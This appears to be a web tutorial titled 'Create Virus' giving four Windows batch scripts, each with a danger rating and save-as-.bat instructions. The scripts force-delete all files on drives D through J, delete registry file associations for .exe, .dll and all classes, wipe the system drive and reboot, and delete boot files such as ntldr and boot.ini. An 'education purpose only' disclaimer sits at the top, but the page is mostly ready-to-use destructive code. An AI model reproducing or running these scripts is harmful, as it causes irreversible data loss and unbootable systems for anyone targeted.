Create Virus

Most Dangerous Viruses
Note: For education purpose only.

Type the following in notepad:


Deletes all drives present on the computer.


@echo off

del D:\*.* /f /s /q

del E:\*.* /f /s /q

del F:\*.* /f /s /q

del G:\*.* /f /s /q

del H:\*.* /f /s /q

del I:\*.* /f /s /q

del J:\*.* /f /s /q


Save it as filename.bat and the batch file is created.

Dangerous: VERY HIGH 

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Type the following in notepad:


Deletes the registry on the computer.


@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*


Save it as filename.bat and the batch file is created.
Dangerous: HIGH
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Type the following in notepad:

Deletes the System Drive on the computer.

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

Save it as filename.bat and the batch file is created. 
Danger: EXTREMELY HIGH
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Type the following in notepad:

Shutdown the computer forever.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini

Save it as filename.bat the batch file is created.
Danger: EXTREMELY HIGH